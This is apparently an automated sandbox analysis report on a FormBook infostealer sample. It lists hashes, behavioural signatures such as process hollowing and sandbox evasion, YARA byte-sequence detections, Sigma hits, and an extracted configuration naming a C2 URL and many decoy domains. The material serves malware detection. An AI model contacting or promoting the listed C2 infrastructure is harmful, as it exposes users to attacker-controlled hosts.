Play interactive tour

Edit tour

Windows Analysis Report Inquiry-URGENT.exe

Overview

General Information

Sample Name:	Inquiry-URGENT.exe
Analysis ID:	491567
MD5:	001127ea6a36d3b93e8c54ff1b8f22b8
SHA1:	acd9171ec5641efc54a16c5c18184dd6e25138c8
SHA256:	2728dc98fdebc00823b877eba49ace782c17db8a07074634aafca9dc00277776
Tags:	exeFormbookxloader
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Performs DNS queries to domains with low reputation

Self deletion via cmd delete

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

.NET source code contains very large strings

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Sigma detected: Suspicious Rundll32 Without Any CommandLine Params

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Inquiry-URGENT.exe (PID: 6760 cmdline: 'C:\Users\user\Desktop\Inquiry-URGENT.exe' MD5: 001127EA6A36D3B93E8C54FF1B8F22B8)

Inquiry-URGENT.exe (PID: 7112 cmdline: C:\Users\user\Desktop\Inquiry-URGENT.exe MD5: 001127EA6A36D3B93E8C54FF1B8F22B8)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 4684 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 3080 cmdline: /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.rheilea.com/b5ce/"], "decoy": ["advellerd.xyz", "giasuvina.com", "arab-xt-pro.com", "ahsltu2ua4.com", "trasportesemmanuel.com", "kissimmeesoccercup.com", "studyengland.com", "m2volleyballclub.com", "shyuehuan.com", "elsml.com", "blog-x-history.top", "coditeu.com", "allattachments.net", "vigautruc.com", "mentication.com", "zambiaedu.xyz", "filadelfiacenter.com", "avlaborsourceinc.info", "tameka-stewart.com", "studio-cleo.com", "cruisebookingsonlineukweb.com", "bajajfinservmutualfund.com", "bipxtech.cloud", "glottogon.com", "villamante.com", "lvfrm.xyz", "bhadanamedia.digital", "austindemolitioncontractor.com", "nutritionhawks.com", "vcmalihx.top", "busybstickerco.com", "lianshangtron.com", "tenncreative.com", "charmfulland.com", "zuridesire.com", "vliegenmetplezier.com", "khlopok.club", "tovardarom.xyz", "atmospheraglobal.com", "lakeefctmich.com", "novasaude-g1.online", "joymort.com", "allexceptionalcapital.com", "balicoffeeuniversal.com", "netjyjin26.net", "arpdomestic.com", "ozglobetips.online", "zeogg.club", "josiemaran-supernatural.com", "sieuthinhapkhau.store", "healthonline.store", "coiincrypt.com", "fofija.com", "yshowmedia.com", "enhancedcr.com", "tous-des-cons.club", "holeinthewallbus.com", "okssl.net", "gutenstocks.com", "thelindleyfamily.com", "apexpropertiesltd.com", "powerhousetepusa.com", "urbanopportunities.com", "comarch.tech"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6aa9:$sqlite3step: 68 34 1C 7B E1 0x6bbc:$sqlite3step: 68 34 1C 7B E1 0x6ad8:$sqlite3text: 68 38 2A 90 C5 0x6bfd:$sqlite3text: 68 38 2A 90 C5 0x6aeb:$sqlite3blob: 68 53 D8 7F 8C 0x6c13:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x160ff8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x161382:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2bd898:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2bdc22:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x16d095:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2c9935:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x16cb81:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2c9421:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x16d197:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2c9a37:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x16d30f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2c9baf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x161d9a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x2be63a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16bdfc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x2c869c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x162b12:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x2bf3b2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x172567:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2cee07:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x17360a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16f499:$sqlite3step: 68 34 1C 7B E1 0x16f5ac:$sqlite3step: 68 34 1C 7B E1 0x2cbd39:$sqlite3step: 68 34 1C 7B E1 0x2cbe4c:$sqlite3step: 68 34 1C 7B E1 0x16f4c8:$sqlite3text: 68 38 2A 90 C5 0x16f5ed:$sqlite3text: 68 38 2A 90 C5 0x2cbd68:$sqlite3text: 68 38 2A 90 C5 0x2cbe8d:$sqlite3text: 68 38 2A 90 C5 0x16f4db:$sqlite3blob: 68 53 D8 7F 8C 0x16f603:$sqlite3blob: 68 53 D8 7F 8C 0x2cbd7b:$sqlite3blob: 68 53 D8 7F 8C 0x2cbea3:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.671196204.0000000002AE1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.671240839.0000000002B43000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6aa9:$sqlite3step: 68 34 1C 7B E1 0x6bbc:$sqlite3step: 68 34 1C 7B E1 0x6ad8:$sqlite3text: 68 38 2A 90 C5 0x6bfd:$sqlite3text: 68 38 2A 90 C5 0x6aeb:$sqlite3blob: 68 53 D8 7F 8C 0x6c13:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: Inquiry-URGENT.exe PID: 6760	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.Inquiry-URGENT.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.Inquiry-URGENT.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8608:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.Inquiry-URGENT.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16aa9:$sqlite3step: 68 34 1C 7B E1 0x16bbc:$sqlite3step: 68 34 1C 7B E1 0x16ad8:$sqlite3text: 68 38 2A 90 C5 0x16bfd:$sqlite3text: 68 38 2A 90 C5 0x16aeb:$sqlite3blob: 68 53 D8 7F 8C 0x16c13:$sqlite3blob: 68 53 D8 7F 8C
2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x5ce58:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x5d1e2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x68ef5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x689e1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x68ff7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x6916f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x5dbfa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x67c5c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x5e972:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x6e3c7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x6f46a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6b2f9:$sqlite3step: 68 34 1C 7B E1 0x6b40c:$sqlite3step: 68 34 1C 7B E1 0x6b328:$sqlite3text: 68 38 2A 90 C5 0x6b44d:$sqlite3text: 68 38 2A 90 C5 0x6b33b:$sqlite3blob: 68 53 D8 7F 8C 0x6b463:$sqlite3blob: 68 53 D8 7F 8C
3.2.Inquiry-URGENT.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.Inquiry-URGENT.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x7808:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18d77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e1a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.Inquiry-URGENT.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15ca9:$sqlite3step: 68 34 1C 7B E1 0x15dbc:$sqlite3step: 68 34 1C 7B E1 0x15cd8:$sqlite3text: 68 38 2A 90 C5 0x15dfd:$sqlite3text: 68 38 2A 90 C5 0x15ceb:$sqlite3blob: 68 53 D8 7F 8C 0x15e13:$sqlite3blob: 68 53 D8 7F 8C
2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x10a688:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x10aa12:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x116725:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x116211:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x116827:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x11699f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x10b42a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x11548c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x10c1a2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x11bbf7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x11cc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x118b29:$sqlite3step: 68 34 1C 7B E1 0x118c3c:$sqlite3step: 68 34 1C 7B E1 0x118b58:$sqlite3text: 68 38 2A 90 C5 0x118c7d:$sqlite3text: 68 38 2A 90 C5 0x118b6b:$sqlite3blob: 68 53 D8 7F 8C 0x118c93:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 7 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\SysWOW64\rundll32.exe, CommandLine: C:\Windows\SysWOW64\rundll32.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3424, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 4684

Sigma detected: Suspicious Rundll32 Without Any CommandLine Params

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe, CommandLine: C:\Windows\SysWOW64\rundll32.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3424, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 4684

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.rheilea.com/b5ce/"], "decoy": ["advellerd.xyz", "giasuvina.com", "arab-xt-pro.com", "ahsltu2ua4.com", "trasportesemmanuel.com", "kissimmeesoccercup.com", "studyengland.com", "m2volleyballclub.com", "shyuehuan.com", "elsml.com", "blog-x-history.top", "coditeu.com", "allattachments.net", "vigautruc.com", "mentication.com", "zambiaedu.xyz", "filadelfiacenter.com", "avlaborsourceinc.info", "tameka-stewart.com", "studio-cleo.com", "cruisebookingsonlineukweb.com", "bajajfinservmutualfund.com", "bipxtech.cloud", "glottogon.com", "villamante.com", "lvfrm.xyz", "bhadanamedia.digital", "austindemolitioncontractor.com", "nutritionhawks.com", "vcmalihx.top", "busybstickerco.com", "lianshangtron.com", "tenncreative.com", "charmfulland.com", "zuridesire.com", "vliegenmetplezier.com", "khlopok.club", "tovardarom.xyz", "atmospheraglobal.com", "lakeefctmich.com", "novasaude-g1.online", "joymort.com", "allexceptionalcapital.com", "balicoffeeuniversal.com", "netjyjin26.net", "arpdomestic.com", "ozglobetips.online", "zeogg.club", "josiemaran-supernatural.com", "sieuthinhapkhau.store", "healthonline.store", "coiincrypt.com", "fofija.com", "yshowmedia.com", "enhancedcr.com", "tous-des-cons.club", "holeinthewallbus.com", "okssl.net", "gutenstocks.com", "thelindleyfamily.com", "apexpropertiesltd.com", "powerhousetepusa.com", "urbanopportunities.com", "comarch.tech"]}

Multi AV Scanner detection for submitted file

Show sources

Source: Inquiry-URGENT.exe	Virustotal: Detection: 36%	Perma Link
Source: Inquiry-URGENT.exe	Metadefender: Detection: 22%	Perma Link
Source: Inquiry-URGENT.exe	ReversingLabs: Detection: 71%

Yara detected FormBook

Show sources

Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE
